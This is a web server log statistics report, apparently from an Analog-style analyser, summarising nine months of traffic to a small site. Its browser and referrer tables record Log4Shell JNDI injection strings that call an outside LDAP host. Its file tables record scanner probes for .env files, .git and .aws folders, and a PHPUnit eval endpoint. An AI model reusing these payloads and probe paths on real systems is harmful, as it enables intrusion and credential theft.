Program started on Thu, Mar 31 2022 at 12:28 PM.
Analyzed requests from Thu, Jul 01 2021 at 4:25 PM to Thu, Mar 31 2022 at 12:06 PM (272.82 days).
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Figures in parentheses refer to the 7-day period ending Mar 31 2022 at 12:28 PM.
Successful requests: 6,880 (78)
Average successful requests per day: 25 (11)
Successful requests for pages: 3,245 (58)
Average successful requests for pages per day: 11 (8)
Failed requests: 79,408 (226)
Redirected requests: 2,407 (0)
Distinct files requested: 305 (38,045)
Distinct hosts served: 1,694 (3,010)
Data transferred: 62.94 megabytes (714.29 kilobytes)
Average data transferred per day: 236.22 kilobytes (102.04 kilobytes)
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit () represents 20 requests for pages or part thereof.
month | #reqs | #pages | |
---|---|---|---|
Jul 2021 | 714 | 689 | ![]() ![]() ![]() |
Aug 2021 | 352 | 294 | ![]() ![]() ![]() ![]() |
Sep 2021 | 810 | 436 | ![]() ![]() ![]() |
Oct 2021 | 802 | 456 | ![]() ![]() ![]() ![]() |
Nov 2021 | 451 | 308 | ![]() |
Dec 2021 | 1483 | 300 | ![]() ![]() ![]() ![]() |
Jan 2022 | 1506 | 231 | ![]() ![]() |
Feb 2022 | 390 | 255 | ![]() ![]() ![]() |
Mar 2022 | 372 | 276 | ![]() ![]() ![]() |
Busiest month: Jul 2021 (689 requests for pages).
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit () represents 15 requests for pages or part thereof.
day | #reqs | #pages | |
---|---|---|---|
Sun | 1145 | 594 | ![]() ![]() |
Mon | 674 | 400 | ![]() ![]() ![]() ![]() |
Tue | 803 | 418 | ![]() ![]() ![]() |
Wed | 869 | 412 | ![]() ![]() ![]() |
Thu | 1052 | 385 | ![]() ![]() ![]() |
Fri | 1177 | 462 | ![]() ![]() ![]() ![]() ![]() |
Sat | 1160 | 574 | ![]() ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit () represents 25 requests for pages or part thereof.
hour | #reqs | #pages | |
---|---|---|---|
0 | 276 | 85 | ![]() |
1 | 236 | 91 | ![]() |
2 | 426 | 108 | ![]() ![]() |
3 | 305 | 98 | ![]() |
4 | 241 | 104 | ![]() ![]() |
5 | 262 | 101 | ![]() ![]() |
6 | 332 | 150 | ![]() ![]() |
7 | 204 | 70 | ![]() ![]() |
8 | 193 | 80 | ![]() |
9 | 240 | 91 | ![]() |
10 | 149 | 63 | ![]() ![]() |
11 | 237 | 92 | ![]() |
12 | 199 | 74 | ![]() ![]() |
13 | 227 | 90 | ![]() |
14 | 1200 | 1019 | ![]() ![]() ![]() |
15 | 277 | 151 | ![]() ![]() ![]() |
16 | 247 | 122 | ![]() ![]() |
17 | 252 | 122 | ![]() ![]() |
18 | 171 | 92 | ![]() |
19 | 188 | 72 | ![]() ![]() |
20 | 167 | 87 | ![]() |
21 | 218 | 99 | ![]() |
22 | 277 | 97 | ![]() |
23 | 356 | 87 | ![]() |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing domains, sorted by the amount of traffic.
#reqs | %bytes | domain |
---|---|---|
6880 | 100% | [unresolved numerical addresses] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing the top 20 organizations by the number of requests, sorted by the number of requests.
#reqs | %bytes | organization |
---|---|---|
1889 | 21.22% | 114 |
490 | 6.40% | 34 |
442 | 1.24% | 157.55 |
365 | 0.55% | 54 |
272 | 3.35% | 40 |
236 | 3.46% | 51 |
211 | 1.74% | 52 |
180 | 0.62% | 35 |
147 | 1.04% | 207.46 |
136 | 3.59% | 92 |
129 | 0.57% | 66.249 |
123 | 5.90% | 13 |
120 | 6.93% | 195.181 |
92 | 1.71% | 178.238 |
90 | 1.52% | 154.3 |
78 | 1.33% | 23 |
73 | 1.91% | 20 |
72 | 1.34% | 194.33 |
70 | 0.24% | 18 |
70 | 2.44% | 44 |
1595 | 32.90% | [not listed: 201 organizations] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing the top 30 referring URLs by the number of failed requests, sorted by the number of failed requests.
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing referring sites, sorted by the number of requests.
#reqs | site |
---|---|
36 | https://webmail.midas.com.pk/ |
35 | http://webmail.midas.com.pk/ |
27 | http://144.217.79.68/ |
27 | http://cpanel.midas.com.pk/ |
25 | https://www.midas.com.pk/ |
16 | https://www.google.com/ |
15 | http://www.google.com.hk/ |
8 | https://midas.com.pk/ |
3 | ${jndi:ldap:/ |
2 | http://baidu.com/ |
1 | http://www.midas.com.pk/ |
1 | https://google.com/ |
1 | http://www.bing.com/ |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing the top 40 browsers by the number of requests for pages, sorted by the number of requests for pages.
#reqs | #pages | browser |
---|---|---|
807 | 803 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36 |
819 | 602 | Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) |
131 | 129 | Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/) |
107 | 107 | NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com |
93 | 93 | Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.17) Gecko/20110422 Ubuntu/10.04 (lucid) Firefox/3.6.17 |
87 | 87 | Expanse indexes the network perimeters of our customers. If you have any questions or concerns, please reach out to: scaninfo@expanseinc.com |
86 | 78 | Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36 |
90 | 78 | Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots) |
66 | 66 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com |
47 | 47 | Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; +info@netcraft.com) |
48 | 47 | Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/) |
40 | 40 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0 |
36 | 36 | Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0 |
59 | 32 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) |
54 | 28 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0 |
211 | 25 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 |
24 | 24 | Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.90 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) |
352 | 24 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 |
27 | 24 | Go http package |
60 | 23 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
29 | 21 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 |
40 | 20 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 |
185 | 18 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36 |
17 | 17 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I535 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 |
16 | 16 | Mozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) |
15 | 15 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 |
14 | 14 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0.3 Safari/604.5.6 |
121 | 13 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
13 | 13 | Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; SLCC1; .NET CLR 1.1.4322) |
12 | 12 | Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36 |
91 | 12 | python-requests/2.26.0 |
12 | 12 | Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 2.0.50727) |
12 | 12 | Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1 |
11 | 11 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36 |
10 | 10 | Mozilla/5.0 (iPhone; CPU iPhone OS 12_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/77.0.3865.93 Mobile/15E148 Safari/605.1 |
10 | 10 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36 |
10 | 10 | Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko |
10 | 10 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 |
10 | 10 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36,gzip(gfe) |
10 | 10 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36 |
2924 | 522 | [not listed: 311 browsers] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing the top 20 browsers by the number of requests for pages, sorted by the number of requests for pages.
# | #reqs | #pages | browser |
---|---|---|---|
1 | 4599 | 1511 | Safari |
4486 | 1419 | Safari/537 | |
59 | 38 | Safari/534 | |
22 | 22 | Safari/604 | |
16 | 16 | Safari/605 | |
12 | 12 | Safari/602 | |
1 | 1 | Safari/8536 | |
1 | 1 | Safari/601 | |
1 | 1 | Safari/9537 | |
1 | 1 | Safari/4E423F | |
2 | 1222 | 942 | Netscape (compatible) |
3 | 372 | 273 | Firefox |
93 | 93 | Firefox/3 | |
56 | 55 | Firefox/58 | |
36 | 36 | Firefox/63 | |
57 | 31 | Firefox/77 | |
6 | 6 | Firefox/85 | |
8 | 4 | Firefox/52 | |
4 | 4 | Firefox/55 | |
5 | 4 | Firefox/83 | |
4 | 4 | Firefox/84 | |
11 | 3 | Firefox/78 | |
4 | 107 | 107 | NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com |
5 | 87 | 87 | Expanse indexes the network perimeters of our customers. If you have any questions or concerns, please reach out to: scaninfo@expanseinc.com |
6 | 66 | 66 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses |
66 | 66 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains | |
7 | 65 | 65 | MSIE |
28 | 28 | MSIE/7 | |
24 | 24 | MSIE/8 | |
7 | 7 | MSIE/10 | |
5 | 5 | MSIE/6 | |
1 | 1 | MSIE/9 | |
8 | 27 | 24 | Go http package |
9 | 144 | 23 | python-requests |
144 | 23 | python-requests/2 | |
10 | 22 | 22 | Mozilla |
11 | 20 | 20 | Opera |
19 | 19 | Opera/9 | |
1 | 1 | Opera/8 | |
12 | 9 | 8 | webprosbot |
9 | 8 | webprosbot/2 | |
13 | 8 | 7 | curl |
8 | 7 | curl/7 | |
14 | 3 | 3 | python-urllib3 |
3 | 3 | python-urllib3/1 | |
15 | 3 | 3 | ${jndi:ldap: |
1 | 1 | ${jndi:ldap://divd-61017357deb6c1bb66508e5dac9d71e7_${date:YYYYMMddHHmmss}_https_User-Agent | |
1 | 1 | ${jndi:ldap://divd-aac204fd5ab24355dd40183f5a8622f0_${date:YYYYMMddHHmmss}_https_User-Agent | |
1 | 1 | ${jndi:ldap://divd-b8f879af60670718324665b645f27b81_${date:YYYYMMddHHmmss}_https_User-Agent | |
16 | 3 | 3 | httpx - Open-source project (github.com |
3 | 3 | httpx - Open-source project (github.com/projectdiscovery/httpx) | |
17 | 10 | 2 | Go-http-client |
10 | 2 | Go-http-client/1 | |
18 | 4 | 2 | url |
19 | 2 | 2 | Wget |
2 | 2 | Wget/1 | |
20 | 2 | 2 | Python |
2 | 2 | Python/3 | |
41 | 9 | [not listed: 13 browsers] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing operating systems, sorted by the number of requests for pages.
# | #reqs | #pages | OS |
---|---|---|---|
1 | 1598 | 1162 | OS unknown |
2 | 3204 | 1138 | Unix |
3204 | 1138 | Linux | |
3 | 1647 | 547 | Windows |
1467 | 367 | Windows NT | |
126 | 126 | Unknown Windows | |
42 | 42 | Windows XP | |
12 | 12 | Windows Server 2003 | |
4 | 234 | 204 | Macintosh |
5 | 133 | 130 | Known robots |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing status codes, sorted numerically.
#reqs | status code |
---|---|
6880 | 200 OK |
2407 | 302 Document found elsewhere |
3095 | 401 Authentication required |
76313 | 404 Document not found |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
size | #reqs | %bytes |
---|---|---|
0 | 87 | |
1B- 10B | 0 | |
11B- 100B | 62 | |
101B- 1kB | 2612 | 2.47% |
1kB- 10kB | 2138 | 24.57% |
10kB-100kB | 1981 | 72.96% |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.
#reqs | %bytes | extension |
---|---|---|
537 | 30.91% | .xml |
3245 | 24.75% | [directories] |
2126 | 24.54% | .cgi [CGI scripts] |
660 | 14.83% | .php [PHP] |
66 | 1.65% | [no extension] |
75 | 1.40% | .env |
17 | 0.38% | .css [Cascading Style Sheets] |
9 | 0.31% | .woff |
10 | 0.19% | .js [JavaScript code] |
10 | 0.19% | .yml |
11 | 0.17% | .ico |
8 | 0.15% | .aspx |
7 | 0.13% | .bak |
64 | 0.12% | .txt [Plain text] |
35 | 0.29% | [not listed: 9 extensions] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
#reqs | %bytes | directory |
---|---|---|
3709 | 33.65% | [root directory] |
2126 | 24.54% | /cgi-sys/ |
167 | 3.11% | /wp-content/ |
89 | 2.91% | /wp-includes/ |
44 | 2.31% | /blog/ |
44 | 2.27% | /wp/ |
44 | 2.23% | /wordpress/ |
41 | 2.21% | /site/ |
39 | 2.17% | /cms/ |
37 | 2.14% | /news/ |
38 | 2.12% | /web/ |
40 | 2.12% | /test/ |
34 | 1.96% | /website/ |
34 | 1.96% | /sito/ |
34 | 1.96% | /wp1/ |
34 | 1.96% | /wp2/ |
29 | 1.68% | /2019/ |
29 | 1.68% | /shop/ |
21 | 1.21% | /2020/ |
25 | 0.90% | /.git/ |
40 | 0.74% | /wp-admin/ |
36 | 0.67% | /vendor/ |
8 | 0.46% | /media/ |
8 | 0.46% | /2018/ |
12 | 0.31% | /cPanel_magic_revision_1616517441/ |
7 | 0.25% | /new/ |
5 | 0.21% | /home/ |
9 | 0.17% | /_profiler/ |
3 | 0.15% | /cPanel_magic_revision_1629757111/ |
2 | 0.10% | /cPanel_magic_revision_1615846744/ |
5 | 0.09% | /config/ |
5 | 0.09% | /.aws/ |
5 | 0.09% | /core/ |
4 | 0.07% | /old/ |
1 | 0.06% | /en/ |
1 | 0.06% | /api/ |
3 | 0.06% | /data:image/ |
3 | 0.06% | /administrator/ |
3 | 0.06% | /issmall/ |
3 | 0.06% | /test_404_page/ |
2 | 0.04% | /DesktopModules/ |
2 | 0.04% | /providers/ |
2 | 0.04% | /app_master/ |
2 | 0.04% | /Install/ |
2 | 0.04% | /admin/ |
2 | 0.04% | /_ignition/ |
2 | 0.04% | /public/ |
2 | 0.04% | /app/ |
2 | 0.04% | /demo/ |
2 | 0.04% | /backup/ |
2 | 0.04% | /main/ |
2 | 0.04% | /portal/ |
2 | 0.04% | /temp/ |
2 | 0.04% | /dev/ |
2 | 0.04% | /tmp/ |
22 | 0.03% | /cPanel_magic_revision_1603227299/ |
1 | 0.02% | /fckeditor/ |
1 | 0.02% | /plugins/ |
1 | 0.02% | /js/ |
1 | 0.02% | /images/ |
1 | 0.02% | /misc/ |
2 | [not listed: 1 directory] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing files with at least 20 requests, sorted by the number of requests.
#reqs | %bytes | last time | file |
---|---|---|---|
3137 | 22.39% | Mar/31/22 11:57 AM | / |
29 | 0.03% | Mar/13/22 11:39 AM | /?C=N;O=D |
23 | 0.02% | Mar/ 7/22 9:31 PM | /?C=D;O=A |
23 | 0.02% | Mar/ 7/22 9:31 PM | /?C=S;O=A |
17 | 0.02% | Mar/13/22 10:49 AM | /?C=M;O=A |
2126 | 24.54% | Jan/29/22 2:09 PM | /cgi-sys/suspendedpage.cgi |
66 | 1.23% | Mar/23/22 2:43 PM | /.env |
62 | Mar/31/22 8:44 AM | /robots.txt | |
57 | 1.33% | Mar/31/22 5:04 AM | /wp-login.php |
34 | 1.96% | Mar/31/22 11:57 AM | /wp1/wp-includes/wlwmanifest.xml |
34 | 1.96% | Mar/31/22 11:57 AM | /web/wp-includes/wlwmanifest.xml |
34 | 1.96% | Mar/31/22 11:57 AM | /sito/wp-includes/wlwmanifest.xml |
34 | 1.96% | Mar/31/22 11:57 AM | /blog/wp-includes/wlwmanifest.xml |
34 | 1.96% | Mar/31/22 11:57 AM | /website/wp-includes/wlwmanifest.xml |
34 | 1.96% | Mar/31/22 11:57 AM | /wp/wp-includes/wlwmanifest.xml |
34 | 1.96% | Mar/31/22 11:57 AM | /cms/wp-includes/wlwmanifest.xml |
34 | 1.96% | Mar/31/22 11:57 AM | /news/wp-includes/wlwmanifest.xml |
34 | 1.96% | Mar/31/22 11:57 AM | /wp2/wp-includes/wlwmanifest.xml |
34 | 1.96% | Mar/31/22 11:57 AM | /test/wp-includes/wlwmanifest.xml |
34 | 1.96% | Mar/31/22 11:57 AM | /site/wp-includes/wlwmanifest.xml |
33 | 1.91% | Mar/31/22 11:57 AM | /xmlrpc.php |
33 | 1.91% | Mar/31/22 11:57 AM | /xmlrpc.php?rsd |
33 | 1.91% | Mar/31/22 11:57 AM | /wordpress/wp-includes/wlwmanifest.xml |
32 | 1.85% | Mar/31/22 11:57 AM | /wp-includes/wlwmanifest.xml |
31 | 0.58% | Feb/28/22 3:14 AM | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
29 | 1.68% | Mar/ 1/22 5:06 PM | /shop/wp-includes/wlwmanifest.xml |
29 | 1.68% | Mar/ 1/22 5:06 PM | /2019/wp-includes/wlwmanifest.xml |
28 | 0.52% | Dec/21/21 9:50 AM | /wp-content/ |
24 | 0.45% | Mar/11/22 1:35 PM | /wp-admin/css/ |
21 | 1.21% | Mar/ 1/22 5:06 PM | /2020/wp-includes/wlwmanifest.xml |
798 | 17.12% | Mar/13/22 9:22 AM | [not listed: 207 files] |